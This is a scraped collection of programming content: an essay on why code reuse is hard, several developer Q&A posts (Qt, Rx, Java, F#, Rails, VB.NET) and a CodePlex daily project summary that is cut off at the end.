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• Code Reuse is (Damn) Hard

  - by James Michael Hare

  Being a development team lead, the task of interviewing new candidates was part of my job.  Like any typical interview, we started with some easy questions to get them warmed up and help calm their nerves before hitting the hard stuff. One of those easier questions was almost always: “Name some benefits of object-oriented development.”  Nearly every time, the candidate would chime in with a plethora of canned answers which typically included: “it helps ease code reuse.”  Of course, this is a gross oversimplification.  Tools only ease reuse, its developers that ultimately can cause code to be reusable or not, regardless of the language or methodology. But it did get me thinking…  we always used to say that as part of our mantra as to why Object-Oriented Programming was so great.  With polymorphism, inheritance, encapsulation, etc. we in essence set up the concepts to help facilitate reuse as much as possible.  And yes, as a developer now of many years, I unquestionably held that belief for ages before it really struck me how my views on reuse have jaded over the years.  In fact, in many ways Agile rightly eschews reuse as taking a backseat to developing what's needed for the here and now.  It used to be I was in complete opposition to that view, but more and more I've come to see the logic in it.  Too many times I've seen developers (myself included) get lost in design paralysis trying to come up with the perfect abstraction that would stand all time.  Nearly without fail, all of these pieces of code become obsolete in a matter of months or years. It’s not that I don’t like reuse – it’s just that reuse is hard.  In fact, reuse is DAMN hard.  Many times it is just a distraction that eats up architect and developer time, and worse yet can be counter-productive and force wrong decisions.  Now don’t get me wrong, I love the idea of reusable code when it makes sense.  These are in the few cases where you are designing something that is inherently reusable.  The problem is, most business-class code is inherently unfit for reuse! Furthermore, the code that is reusable will often fail to be reused if you don’t have the proper framework in place for effective reuse that includes standardized versioning, building, releasing, and documenting the components.  That should always be standard across the board when promoting reusable code.  All of this is hard, and it should only be done when you have code that is truly reusable or you will be exerting a large amount of development effort for very little bang for your buck. But my goal here is not to get into how to reuse (that is a topic unto itself) but what should be reused.  First, let’s look at an extension method.  There’s many times where I want to kick off a thread to handle a task, then when I want to reign that thread in of course I want to do a Join on it.  But what if I only want to wait a limited amount of time and then Abort?  Well, I could of course write that logic out by hand each time, but it seemed like a great extension method: 1: public static class ThreadExtensions 2: { 3: public static bool JoinOrAbort(this Thread thread, TimeSpan timeToWait) 4: { 5: bool isJoined = false; 6:  7: if (thread != null) 8: { 9: isJoined = thread.Join(timeToWait); 10:  11: if (!isJoined) 12: { 13: thread.Abort(); 14: } 15: } 16: return isJoined; 17: } 18: } 19:  When I look at this code, I can immediately see things that jump out at me as reasons why this code is very reusable.  Some of them are standard OO principles, and some are kind-of home grown litmus tests: Single Responsibility Principle (SRP) – The only reason this extension method need change is if the Thread class itself changes (one responsibility). Stable Dependencies Principle (SDP) – This method only depends on classes that are more stable than it is (System.Threading.Thread), and in itself is very stable, hence other classes may safely depend on it. It is also not dependent on any business domain, and thus isn't subject to changes as the business itself changes. Open-Closed Principle (OCP) – This class is inherently closed to change. Small and Stable Problem Domain – This method only cares about System.Threading.Thread. All-or-None Usage – A user of a reusable class should want the functionality of that class, not parts of that functionality.  That’s not to say they most use every method, but they shouldn’t be using a method just to get half of its result. Cost of Reuse vs. Cost to Recreate – since this class is highly stable and minimally complex, we can offer it up for reuse very cheaply by promoting it as “ready-to-go” and already unit tested (important!) and available through a standard release cycle (very important!). Okay, all seems good there, now lets look at an entity and DAO.  I don’t know about you all, but there have been times I’ve been in organizations that get the grand idea that all DAOs and entities should be standardized and shared.  While this may work for small or static organizations, it’s near ludicrous for anything large or volatile. 1: namespace Shared.Entities 2: { 3: public class Account 4: { 5: public int Id { get; set; } 6:  7: public string Name { get; set; } 8:  9: public Address HomeAddress { get; set; } 10:  11: public int Age { get; set;} 12:  13: public DateTime LastUsed { get; set; } 14:  15: // etc, etc, etc... 16: } 17: } 18:  19: ... 20:  21: namespace Shared.DataAccess 22: { 23: public class AccountDao 24: { 25: public Account FindAccount(int id) 26: { 27: // dao logic to query and return account 28: } 29:  30: ... 31:  32: } 33: } Now to be fair, I’m not saying there doesn’t exist an organization where some entites may be extremely static and unchanging.  But at best such entities and DAOs will be problematic cases of reuse.  Let’s examine those same tests: Single Responsibility Principle (SRP) – The reasons to change for these classes will be strongly dependent on what the definition of the account is which can change over time and may have multiple influences depending on the number of systems an account can cover. Stable Dependencies Principle (SDP) – This method depends on the data model beneath itself which also is largely dependent on the business definition of an account which can be very inherently unstable. Open-Closed Principle (OCP) – This class is not really closed for modification.  Every time the account definition may change, you’d need to modify this class. Small and Stable Problem Domain – The definition of an account is inherently unstable and in fact may be very large.  What if you are designing a system that aggregates account information from several sources? All-or-None Usage – What if your view of the account encompasses data from 3 different sources but you only care about one of those sources or one piece of data?  Should you have to take the hit of looking up all the other data?  On the other hand, should you have ten different methods returning portions of data in chunks people tend to ask for?  Neither is really a great solution. Cost of Reuse vs. Cost to Recreate – DAOs are really trivial to rewrite, and unless your definition of an account is EXTREMELY stable, the cost to promote, support, and release a reusable account entity and DAO are usually far higher than the cost to recreate as needed. It’s no accident that my case for reuse was a utility class and my case for non-reuse was an entity/DAO.  In general, the smaller and more stable an abstraction is, the higher its level of reuse.  When I became the lead of the Shared Components Committee at my workplace, one of the original goals we looked at satisfying was to find (or create), version, release, and promote a shared library of common utility classes, frameworks, and data access objects.  Now, of course, many of you will point to nHibernate and Entity for the latter, but we were looking at larger, macro collections of data that span multiple data sources of varying types (databases, web services, etc). As we got deeper and deeper in the details of how to manage and release these items, it quickly became apparent that while the case for reuse was typically a slam dunk for utilities and frameworks, the data access objects just didn’t “smell” right.  We ended up having session after session of design meetings to try and find the right way to share these data access components. When someone asked me why it was taking so long to iron out the shared entities, my response was quite simple, “Reuse is hard...”  And that’s when I realized, that while reuse is an awesome goal and we should strive to make code maintainable, often times you end up creating far more work for yourself than necessary by trying to force code to be reusable that inherently isn’t. Think about classes the times you’ve worked in a company where in the design session people fight over the best way to implement a class to make it maximally reusable, extensible, and any other buzzwordable.  Then think about how quickly that design became obsolete.  Many times I set out to do a project and think, “yes, this is the best design, I can extend it easily!” only to find out the business requirements change COMPLETELY in such a way that the design is rendered invalid.  Code, in general, tends to rust and age over time.  As such, writing reusable code can often be difficult and many times ends up being a futile exercise and worse yet, sometimes makes the code harder to maintain because it obfuscates the design in the name of extensibility or reusability. So what do I think are reusable components? Generic Utility classes – these tend to be small classes that assist in a task and have no business context whatsoever. Implementation Abstraction Frameworks – home-grown frameworks that try to isolate changes to third party products you may be depending on (like writing a messaging abstraction layer for publishing/subscribing that is independent of whether you use JMS, MSMQ, etc). Simplification and Uniformity Frameworks – To some extent this is similar to an abstraction framework, but there may be one chosen provider but a development shop mandate to perform certain complex items in a certain way.  Or, perhaps to simplify and dumb-down a complex task for the average developer (such as implementing a particular development-shop’s method of encryption). And what are less reusable? Application and Business Layers – tend to fluctuate a lot as requirements change and new features are added, so tend to be an unstable dependency.  May be reused across applications but also very volatile. Entities and Data Access Layers – these tend to be tuned to the scope of the application, so reusing them can be hard unless the abstract is very stable. So what’s the big lesson?  Reuse is hard.  In fact it’s damn hard.  And much of the time I’m not convinced we should focus too hard on it. If you’re designing a utility or framework, then by all means design it for reuse.  But you most also really set down a good versioning, release, and documentation process to maximize your chances.  For anything else, design it to be maintainable and extendable, but don’t waste the effort on reusability for something that most likely will be obsolete in a year or two anyway.

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• Qt 4.6 Adding objects and sub-objects to QWebView window object (C++ & Javascript)

  - by Cor

  I am working with Qt's QWebView, and have been finding lots of great uses for adding to the webkit window object. One thing I would like to do is nested objects... for instance: in Javascript I can... var api = new Object; api.os = new Object; api.os.foo = function(){} api.window = new Object(); api.window.bar = function(){} obviously in most cases this would be done through a more OO js-framework. This results in a tidy structure of: >>>api ------------------------------------------------------- - api Object {os=Object, more... } - os Object {} foo function() - win Object {} bar function() ------------------------------------------------------- Right now I'm able to extend the window object with all of the qtC++ methods and signals I need, but they all have 'seem' to have to be in a root child of "window". This is forcing me to write a js wrapper object to get the hierarchy that I want in the DOM. >>>api ------------------------------------------------------- - api Object {os=function, more... } - os_foo function() - win_bar function() ------------------------------------------------------- This is a pretty simplified example... I want objects for parameters, etc... Does anyone know of a way to pass an child object with the object that extends the WebFrame's window object? Here's some example code of how I'm adding the object: mainwindow.h #ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QtGui/QMainWindow> #include <QWebFrame> #include "mainwindow.h" #include "happyapi.h" class QWebView; class QWebFrame; QT_BEGIN_NAMESPACE class MainWindow : public QMainWindow { Q_OBJECT public: MainWindow(QWidget *parent = 0); private slots: void attachWindowObject(); void bluesBros(); private: QWebView *view; HappyApi *api; QWebFrame *frame; }; #endif // MAINWINDOW_H mainwindow.cpp #include <QDebug> #include <QtGui> #include <QWebView> #include <QWebPage> #include "mainwindow.h" #include "happyapi.h" MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent) { view = new QWebView(this); view->load(QUrl("file:///Q:/example.htm")); api = new HappyApi(this); QWebPage *page = view->page(); frame = page->mainFrame(); attachWindowObject(); connect(frame, SIGNAL(javaScriptWindowObjectCleared()), this, SLOT(attachWindowObject())); connect(api, SIGNAL(win_bar()), this, SLOT(bluesBros())); setCentralWidget(view); }; void MainWindow::attachWindowObject() { frame->addToJavaScriptWindowObject(QString("api"), api); }; void MainWindow::bluesBros() { qDebug() << "foo and bar are getting the band back together!"; }; happyapi.h #ifndef HAPPYAPI_H #define HAPPYAPI_H #include <QObject> class HappyApi : public QObject { Q_OBJECT public: HappyApi(QObject *parent); public slots: void os_foo(); signals: void win_bar(); }; #endif // HAPPYAPI_H happyapi.cpp #include <QDebug> #include "happyapi.h" HappyApi::HappyApi(QObject *parent) : QObject(parent) { }; void HappyApi::os_foo() { qDebug() << "foo called, it want's it's bar back"; }; I'm reasonably new to C++ programming (coming from a web and python background). Hopefully this example will serve to not only help other new users, but be something interesting for a more experienced c++ programmer to elaborate on. Thanks for any assistance that can be provided. :)

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• Rx IObservable buffering to smooth out bursts of events

  - by Dan

  I have an Observable sequence that produces events in rapid bursts (ie: five events one right after another, then a long delay, then another quick burst of events, etc.). I want to smooth out these bursts by inserting a short delay between events. Imagine the following diagram as an example: Raw: --oooo--------------ooooo-----oo----------------ooo| Buffered: --o--o--o--o--------o--o--o--o--o--o--o---------o--o--o| My current approach is to generate a metronome-like timer via Observable.Interval() that signals when it's ok to pull another event from the raw stream. The problem is that I can't figure out how to then combine that timer with my raw unbuffered observable sequence. IObservable.Zip() is close to doing what I want, but it only works so long as the raw stream is producing events faster than the timer. As soon as there is a significant lull in the raw stream, the timer builds up a series of unwanted events that then immediately pair up with the next burst of events from the raw stream. Ideally, I want an IObservable extension method with the following function signature that produces the bevaior I've outlined above. Now, come to my rescue StackOverflow :) public static IObservable<T> Buffered(this IObservable<T> src, TimeSpan minDelay) PS. I'm brand new to Rx, so my apologies if this is a trivially simple question... 1. Simple yet flawed approach Here's my initial naive and simplistic solution that has quite a few problems: public static IObservable<T> Buffered<T>(this IObservable<T> source, TimeSpan minDelay) { Queue<T> q = new Queue<T>(); source.Subscribe(x => q.Enqueue(x)); return Observable.Interval(minDelay).Where(_ => q.Count > 0).Select(_ => q.Dequeue()); } The first obvious problem with this is that the IDisposable returned by the inner subscription to the raw source is lost and therefore the subscription can't be terminated. Calling Dispose on the IDisposable returned by this method kills the timer, but not the underlying raw event feed that is now needlessly filling the queue with nobody left to pull events from the queue. The second problem is that there's no way for exceptions or end-of-stream notifications to be propogated through from the raw event stream to the buffered stream - they are simply ignored when subscribing to the raw source. And last but not least, now I've got code that wakes up periodically regardless of whether there is actually any work to do, which I'd prefer to avoid in this wonderful new reactive world. 2. Way overly complex appoach To solve the problems encountered in my initial simplistic approach, I wrote a much more complicated function that behaves much like IObservable.Delay() (I used .NET Reflector to read that code and used it as the basis of my function). Unfortunately, a lot of the boilerplate logic such as AnonymousObservable is not publicly accessible outside the system.reactive code, so I had to copy and paste a lot of code. This solution appears to work, but given its complexity, I'm less confident that its bug free. I just can't believe that there isn't a way to accomplish this using some combination of the standard Reactive extensions. I hate feeling like I'm needlessly reinventing the wheel, and the pattern I'm trying to build seems like a fairly standard one.

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• Java multiple class compositing and boiler plate reduction

  - by h2g2java

  We all know why Java does/should not have multiple inheritance. So this is not questioning about what has already been debated till-cows-come-home. This discusses what we would do when we wish to create a class that has the characteristics of two or more other classes. Probably, most of us would do this to "inherit" from three classes. For simplicity, I left out the constructor.: class Car extends Vehicle { final public Transport transport; final public Machine machine; } So that, Car class directly inherits methods and objects of Vehicle class, but would have to refer to transport and machine explicitly to refer to objects instantiated in Transport and Machine. Car car = new Car(); car.drive(); // from Vehicle car.transport.isAmphibious(); // from Transport car.machine.getCO2Footprint(); // from Machine I thought this was a good idea until when I encounter frameworks that require setter and getter methods. For example, the XML <Car amphibious='false' footPrint='1000' model='Fordstatic999'/> would look for the methods setAmphibious(..), setFootPrint(..) and setModel(..). Therefore, I have to project the methods from Transport and Machine classes class Car extends Vehicle { final public Transport transport; final public Machine machine; public void setAmphibious(boolean b){ this.transport.setAmphibious(b); } public void setFootPrint(String fp){ this.machine.setFootPrint(fp); } } This is OK, if there were just a few characteristics. Right now, I am trying to adapt all of SmartGWT into GWT UIBinder, especially those classes that are not a GWT widget. There are lots of characteristics to project. Wouldn't it be nice if there exists some form of annotation framework that is like this: class Car extends Vehicle @projects {Transport @projects{Machine @projects Guzzler}} { /* No need to explicitly instantiate Transport, Machine or Guzzler */ .... } Where, in case of common names of characteristics exist, the characteristics of Machine would take precedence Guzzler's, and Transport's would have precedence over Machine's, and Vehicle's would have precedence over Transport's. The annotation framework would then instantiate Transport, Machine and Guzzler as hidden members of Car and expand to break-out the protected/public characteristics, in the precedence dictated by the @project annotation sequence, into actual source code or into byte-code. Preferably into byte-code. So that the setFootPrint method is found in both Machine and Guzzler, only that of Machine's would be projected. Questions: Don't you think this is a good idea to have such a framework? Does such a framework already exist? Tell me where/what. Is there an eclipse plugin that does it? Is there a proposal or plan anywhere that you know about such an annotation framework? It would be wonderful too, if the annotation/plugin framework lets me specify that boolean, int, or whatever else needs to be converted from String and does the conversion/parsing for me too. Please advise, somebody. I hope wording of my question was clear enough. Thx. Edited: To avoid OO enthusiasts jumping to conclusion, I have renamed the title of this question.

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• Can someone help me compare using F# over C# in this specific example (IP Address expressions)?

  - by Phobis

  So, I am writing code to parse and IP Address expression and turn it into a regular expression that could be run against and IP Address string and return a boolean response. I wrote the code in C# (OO) and it was 110 lines of code. I am trying to compare the amount of code and the expressiveness of C# to F# (I am a C# programmer and a noob at F#). I don't want to post both the C# and F#, just because I don't want to clutter the post. If needed, I will do so. Anyway, I will give an example. Here is an expression: 192.168.0.250,244-248,108,51,7;127.0.0.1 I would like to take that and turn it into this regular expression: ((192.168.0.(250|244|245|246|247|248|108|51|7))|(127.0.0.1)) Here are some steps I am following: Operations: Break by ";" 192.168.0.250,244-248,108,51,7 127.0.0.1 Break by "." 192 168 0 250,244-248,108,51,7 Break by "," 250 244-248 108 51 7 Break by "-" 244 248 I came up with F# that produces the output. I am trying to forward-pipe through my operations listed above, as I think that would be more expressive. Can anyone make this code better? Teach me something :) open System let createItemArray (group:bool) (y:char) (items:string[]) = [| let indexes = items.Length - 1 let group = indexes > 0 && group if group then yield "(" for i in 0 .. indexes do yield items.[i].ToString() if i < indexes then yield y.ToString() if group then yield ")" |] let breakBy (group:bool) (x:string) (y:char): string[] = x.Split(y) |> createItemArray group y let breakItem (x:string) (y:char): string[] = breakBy false x y let breakGroup (x:string) (y:char): string[] = breakBy true x y let AddressExpression address:string = let builder = new System.Text.StringBuilder "(" breakGroup address ';' |> Array.collect (fun octet -> breakItem octet '.') |> Array.collect (fun options -> breakGroup options ',') |> Array.collect (fun (ranges : string) -> match (breakGroup ranges '-') with | x when x.Length > 3 -> match (Int32.TryParse(x.[1]), Int32.TryParse(x.[3])) with | ((true, a) ,(true, b)) -> [|a .. b|] |> Array.map (int >> string) |> createItemArray false '-' | _ -> [|ranges|] | _ -> [|ranges|] ) |> Array.iter (fun item -> match item with | ";" -> builder.Append ")|(" | "." -> builder.Append "\." | "," | "-" -> builder.Append "|" | _ -> builder.Append item |> ignore ) builder.Append(")").ToString() let address = "192.168.0.250,244-248,108,51,7;127.0.0.1" AddressExpression address

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• How to select table column names in a view and pass to controller in rails?

  - by zachd1_618

  So I am new to Rails, and OO programming in general. I have some grasp of the MVC architecture. My goal is to make a (nearly) completely dynamic plug-and-play plotting web server. I am fairly confused with params, forms, and select helpers. What I want to do is use Rails drop downs to basically pass parameters as strings to my controller, which will use the params to select certain column data from my database and plot it dynamically. I have the latter part of the task working, but I can't seem to pass values from my view to controller. For simplicity's sake, say my database schema looks like this: --------------Plot--------------- |____x____|____y1____|____y2____| | 1 | 1 | 1 | | 2 | 2 | 4 | | 3 | 3 | 9 | | 4 | 4 | 16 | | 5 | 5 | 25 | ... and in my Model, I have dynamic selector scopes that will let me select just certain columns of data: in Plot.rb class Plot < ActiveRecord::Base scope :select_var, lambda {|varname| select(varname)} scope :between_x, lambda {|x1,x2| where("x BETWEEN ? and ?","#{x1}","#{x2}")} So this way, I can call: irb>>@p1 = Plot.select_var(['x','y1']).between_x(1,3) and get in return a class where @p1.x and @p1.y1 are my only attributes, only for values between x=1 to x=4, which I dynamically plot. I want to start off in a view (plot/index), where I can dynamically select which variable names (table column names), and which rows from the database to fetch and plot. The problem is, most select helpers don't seem to work with columns in the database, only rows. So to select columns, I first get an array of column names that exist in my database with a function I wrote. Plots Controller def index d=Plot.first @tags = d.list_vars end So @tags = ['x','y1','y2'] Then in my plot/index.html.erb I try to use a drop down to select wich variables I send back to the controller. index.html.erb <%= select_tag( :variable, options_for_select(@plots.first.list_vars,:name,:multiple=>:true) )%> <%= button_to 'Plot now!', :controller =>"plots/plot_vars", :variable => params[:variable]%> Finally, in the controller again Plots controller ... def plot_vars @plot_data=Plot.select_vars([params[:variable]]) end The problem is everytime I try this (or one of a hundred variations thereof), the params[:variable] is nill. How can I use a drop down to pass a parameter with string variable names to the controller? Sorry its so long, I have been struggling with this for about a month now. :-( I think my biggest problem is that this setup doesn't really match the Rails architecture. I don't have "users" and "articles" as individual entities. I really have a data structure, not a data object. Trying to work with the structure in terms of data object speak is not necessarily the easiest thing to do I think. For background: My actual database has about 250 columns and a couple million rows, and they get changed and modified from time to time. I know I can make the database smarter, but its not worth it on my end. I work at a scientific institute where there are a ton of projects with databases just like this. Each one has a web developer that spends months setting up a web interface and their own janky plotting setups. I want to make this completely dynamic, as a plug-and-play solution so all you have to do is specify your database connection, and this rails setup will automatically show and plot which data you want in it. I am more of a sequential programmer and number cruncher, as are many people here. I think this project could be very helpful in the end, but its difficult to figure out for me right now.

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• Invalid Cast Exception with Update Panel

  - by user1593175

  On Button Click Protected Sub btnSubmit_Click(sender As Object, e As System.EventArgs) Handles btnSubmit.Click MsgBox("INSIDE") If SocialAuthUser.IsLoggedIn Then Dim accountId As Integer = BLL.getAccIDFromSocialAuthSession Dim AlbumID As Integer = BLL.createAndReturnNewAlbumId(txtStoryTitle.Text.Trim, "") Dim URL As String = BLL.getAlbumPicUrl(txtStoryTitle.Text.Trim) Dim dt As New DataTable dt.Columns.Add("PictureID") dt.Columns.Add("AccountID") dt.Columns.Add("AlbumID") dt.Columns.Add("URL") dt.Columns.Add("Thumbnail") dt.Columns.Add("Description") dt.Columns.Add("AlbumCover") dt.Columns.Add("Tags") dt.Columns.Add("Votes") dt.Columns.Add("Abused") dt.Columns.Add("isActive") Dim Row As DataRow Dim uniqueFileName As String = "" If Session("ID") Is Nothing Then lblMessage.Text = "You don't seem to have uploaded any pictures." Exit Sub Else **Dim FileCount As Integer = Request.Form(Request.Form.Count - 2)** Dim FileName, TargetName As String Try Dim Path As String = Server.MapPath(BLL.getAlbumPicUrl(txtStoryTitle.Text.Trim)) If Not IO.Directory.Exists(Path) Then IO.Directory.CreateDirectory(Path) End If Dim StartIndex As Integer Dim PicCount As Integer For i As Integer = 0 To Request.Form.Count - 1 If Request.Form(i).ToLower.Contains("jpg") Or Request.Form(i).ToLower.Contains("gif") Or Request.Form(i).ToLower.Contains("png") Then StartIndex = i + 1 Exit For End If Next For i As Integer = StartIndex To Request.Form.Count - 4 Step 3 FileName = Request.Form(i) '## If part here is not kaam ka..but still using it for worst case scenario If IO.File.Exists(Path & FileName) Then TargetName = Path & FileName 'MsgBox(TargetName & "--- 1") Dim j As Integer = 1 While IO.File.Exists(TargetName) TargetName = Path & IO.Path.GetFileNameWithoutExtension(FileName) & "(" & j & ")" & IO.Path.GetExtension(FileName) j += 1 End While Else uniqueFileName = Guid.NewGuid.ToString & "__" & FileName TargetName = Path & uniqueFileName End If IO.File.Move(Server.MapPath("~/TempUploads/" & Session("ID") & "/" & FileName), TargetName) PicCount += 1 Row = dt.NewRow() Row(1) = accountId Row(2) = AlbumID Row(3) = URL & uniqueFileName Row(4) = "" Row(5) = "No Desc" Row(6) = "False" Row(7) = "" Row(8) = "0" Row(9) = "0" Row(10) = "True" dt.Rows.Add(Row) Next If BLL.insertImagesIntoAlbum(dt) Then lblMessage.Text = PicCount & IIf(PicCount = 1, " Picture", " Pictures") & " Saved!" lblMessage.ForeColor = Drawing.Color.Black Dim db As SqlDatabase = Connection.connection Using cmd As DbCommand = db.GetSqlStringCommand("SELECT PictureID,URL FROM AlbumPictures WHERE AlbumID=@AlbumID AND AccountID=@AccountID") db.AddInParameter(cmd, "AlbumID", Data.DbType.Int32, AlbumID) db.AddInParameter(cmd, "AccountID", Data.DbType.Int32, accountId) Using ds As DataSet = db.ExecuteDataSet(cmd) If ds.Tables(0).Rows.Count > 0 Then ListView1.DataSource = ds.Tables(0) ListView1.DataBind() Else lblMessage.Text = "No Such Album Exists." End If End Using End Using 'WebNavigator.GoToResponseRedirect(WebNavigator.URLFor.ReturnUrl("~/Memories/SortImages.aspx?id=" & AlbumID)) Else 'TODO:we'll show some error msg End If Catch ex As Exception MsgBox(ex.Message) lblMessage.Text = "Oo Poop!!" End Try End If Else WebNavigator.GoToResponseRedirect(WebNavigator.URLFor.LoginWithReturnUrl("~/Memories/CreateAlbum.aspx")) Exit Sub End If End Sub The above code works fine.I have added an Update Panel in the page to avoid post back, But when i add the button click as a trigger <Triggers> <asp:AsyncPostBackTrigger ControlID="btnSubmit" /> </Triggers> in the update panel to avoid post back, i get the following error.This happens when i add the button click as a Trigger to the update panel.

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• CodePlex Daily Summary for Saturday, June 11, 2011

  CodePlex Daily Summary for Saturday, June 11, 2011Popular ReleasesSimplePlanner: v2.0b: For 2011-2012 Sem 1 ???2011-2012 ????Econ NetVert: 2.4.2.14 Production: Many thanks to paulhickman for testing and reporting issues. - this release has lots of bugfixes in codeconversion when using NRefactory 4.0 (local) and VisualStudio Projects conversionVisual Studio 2010 Help Downloader: 1.0.0.3: Domain name support for proxy Cleanup old packages bug Writing to EventLog with UAC enabled bug Small fixes & RefactoringMedia Companion: MC 3.406b weekly: With this version change a movie rebuild is required when first run -else MC will lock up on exit. Extract the entire archive to a folder which has user access rights, eg desktop, documents etc. Refer to the documentation on this site for the Installation & Setup Guide Important! If you find MC not displaying movie data properly, please try a 'movie rebuild' to reload the data from the nfo's into MC's cache. Fixes Movies Readded movie preference to rename invalid or scene nfo's to info ext...SCCM Client Actions Tool: SCCM Client Actions Tool v0.5.1: SCCM Client Actions Tool v0.5.1 is currently the most stable version and includes all of the functionality requested so far. It comes with following changes since last version: Fixed an incorrect path to x64 client setup folder. It comes as a ZIP file that contains three files: ClientActionsTool.hta – The tool itself. Cmdkey.exe – command line tool for managing cached credentials. This is needed for alternate credentials feature when running the HTA on Windows XP. Cmdkey.exe is natively a...Windows Azure VM Assistant: AzureVMAssist V1.0.0.5: AzureVMAssist V1.0.0.5 (Debug) - Test Release VersionSizeOnDisk: 1.8.0.3: Fix (issue 317): Main window icon loading error on windows server 2003 32bit runing on x86 cpu. Bypass of the Microsoft windows comexception.NetOffice - The easiest way to use Office in .NET: NetOffice Release 0.9: Changes: - fix examples (include issue 16026) - add new examples - 32Bit/64Bit Walkthrough is now available in technical Documentation. Includes: - Runtime Binaries and Source Code for .NET Framework:......v2.0, v3.0, v3.5, v4.0 - Tutorials in C# and VB.Net:..............................................................COM Proxy Management, Events, etc. - Examples in C# and VB.Net:............................................................Excel, Word, Outlook, PowerPoint, Access - COMAddi...Reusable Library: V1.1.3: A collection of reusable abstractions for enterprise application developerClosedXML - The easy way to OpenXML: ClosedXML 0.54.0: New on this release: 1) Mayor performance improvements. 2) AdjustToContents now take into account the text rotation. 3) Fixed issues 6782, 6784, 6788HTML-IDEx: HTML-IDEx .15 ALPHA: This release fixes line counting a little bit and adds the masshighlight() sub, which highlights pasted and inserted code.AutoLoL: AutoLoL v2.0.3: - Improved summoner spells are now displayed - Fixed some of the startup errors people got - Double clicking an item selects it - Some usability changes that make using AutoLoL just a little easier - Bug fixes AutoLoL v2 is not an update, but an entirely new version! Please install to a different directory than AutoLoL v1Host Profiles: Host Profiles 1.0: Host Profiles 1.0 Release Quickly modify host file Automatically flush dnsVidCoder: 0.9.2: Updated to HandBrake 4024svn. This fixes problems with mpeg2 sources: corrupted previews, incorrect progress indicators and encodes that incorrectly report as failed. Fixed a problem that prevented target sizes above 2048 MB.SharePoint Search XSL Samples: SharePoint 2010 Samples: I have updated some of the samples from the 2007 release. These all work in SharePoint 2010. I removed the Pivot on File Extension because SharePoint 2010 search has refiners that perform the same function.AcDown????? - Anime&Comic Downloader: AcDown????? v3.0 Beta5: ??AcDown?????????????，??????????????，????、????。?????Acfun????? ????32??64? Windows XP/Vista/7 ????????????? ??：????????Windows XP???,?????????.NET Framework 2.0???(x86)?.NET Framework 2.0???(x64)，?????"?????????"??? ??v3.0 Beta5 ?????????? ???? ?? ???????? ???"????????"?? ????????????? ????????/???? ?? ???"????"??? ?? ??????????? ?? ?? ??????????? ?? ?????????????????? ??????????????????? ???????????????? ????????????Discussions???????? ????AcDown??????????????VFPX: GoFish 4 Beta 1: Current beta is Build 144 (released 2011-06-07 ) See the GoFish4 info page for details and video link: http://vfpx.codeplex.com/wikipage?title=GoFishShowUI: Write-UI -in PowerShell: ShowUI: ShowUI is a PowerShell module to help you write rich user interfaces in script.SharePoint 2010 FBA Pack: SharePoint 2010 FBA Pack 1.0.3: Fixed User Management screen when "RequiresQuestionAndAnswer" set to true Reply to Email Address can now be customized User Management page now only displays users that reside in the membership database Web parts have been changed to inherit from System.Web.UI.WebControls.WebParts.WebPart, so that they will display on anonymous application pages For installation and configuration steps see here.TerrariViewer: TerrariViewer v2.5: Added new items associated with Terraria v1.0.3 to the character editor. Fixed multiple bugs with Piggy Bank EditoryNew Projects.NET MVC Base by OST: The OST .NET MVC project is currently in infancy but contains html helper extensions, model binders and other extensions to the mvc 3 framework. It also contains a separate project for easily consuming JQGrid requests and return the correct JSON to the jQuery plugin.Asterisk AMI Proxy suite: The AMI Proxy suite project will bridge the gap between your asterisk phone system and your windows based applications. The AMI Proxy is a service that can be used to simply proxy AMI connections to your asterisk server but also adds call stat generation and line monitors.Augusta Developers Guild: The web site for the user group Augusta Developers GuildAzure Blob Pusher: File uploader allows bulk upload of files from client to Azure blob storage. FileSystemWatcher notices new files in configured directory. SQL Express database tracks files as they are pushed up to blob storage and then processed. Local Directory is cleaned up after acknowledgement.Basic Class Library: A collection of functions created to eased up the programmers life in order to solved basic task like validation, AmountTowords, Encrypt & Decryption it also has capability to Connect and retrieve sql data just in one line of code, and some other Basic but very Important task.Basic RTS Game using RolePlayingGame Tool kit based XNA: this is a basic RTS Game. i can make it easy by using RolePlayingGame Took Kit based XNA.Batch Scheduler using .Net 4, MEF and Entity framework 4.1 (Magic Unicorn): Simple Batch Architecture written on C#. Uses the .NET 4, MEF and Entity Framework 4.1 Code First. If you dont need a scheduler, just use the sample code. Agents can be scheduled through a central database table. Plug-ins (or jobs) are launched through MEF. DropBox Linker: The goal of DropBox Linker project is to improve DropBox service client usability. It intellectually automates copying URLs to clipboard after publishing a file. Multiple files at once is supported. Additionally, it corrects URL on file rename after its link been copied.Exchange Spigot for NodeXL: Exchange Spigot for NodeXL enables Microsoft Excel plugin NodeXL to collect messaging data from the Microsoft Exchange Server and display that data as a graph. It is developed in C#.G - Low Level Graphics API: A low level graphics api, in similar style to OpenGL, but more OO. Can drastically speed up OpenGL based apps. Makes full use of Net4.0 features such as lambada expressions where useful. (C#, OpenTK powered. This is not for C++) GpgAPI - A C# Api for Gpg: GpgAPI is a C# API for Gpg. Gpg is a command line software to encrypt, decrypt files with a symmetric or assymetric key. You can also managed public keys, import keys from the web, export your public keys, etc. GpgAPI is an interface to Gpg. In C#, with a few lines, you can execute gpg to encrypt, decrypt, etc. The license of this project is "GPL v3"; it is NOT GPL v2. GPL v3 is not present in the licenses list so I had to choose GPL v2. So if use GpgAPI, you must accept the GPL v...iDreamBoard: iDreamBoard is an application to ease the process of creating and editing dreamboard themes for iOS devices. UNDER DEVELOPMENTIETouch: Use IE Touch to access multitouch events from JavaScript in IE. This project uses some of the code from Windows 7 Multitouch .NET Interop Sample Library available in http://archive.msdn.microsoft.com/WindowsTouch/Release/ProjectReleases.aspx?ReleaseId=2127iMaker-Lion: Applications post installation pour Mac OS X sur PC.Informatic System Ma Chung University Alumni Center: Informatic System Ma Chung University Alumni Center is a website for alumni at Information System Faculty at Ma Chung University at Malang, IndonesiaJasc (just another script compressor): Just another script compressor, but that's by far the easiest to use! Use Jasc to merge compress your javascript (JS) and style sheets (CSS). Just drop the executable in your javascript / CSS folder and run it. Voyla! It will handle everything by itself. Compression is based on Microsoft Ajax Minifier. Jasc can handle single or multiple files, will accept regular expressions to remove specific lines from the source code, and can also optimize the results by shrinking variable names and twe...LINQ Extensions Library: A library of useful LINQ extensions allowing for arithmetic manipulation of sequences, statistical analysis, sequence generation, sequence manipulation, pattern detection and more.Mail2FotoFrame: Pulls emails from a POP3-Account, extracts picture-attachments and saves them to a SD-card, so you can view them on a fotoframe.Make web (or sharepoint) pages screenshots with Powershell: From a text file containing url, make screenshot of each page. This powershell script use iecapt.exe project. You can manage width format 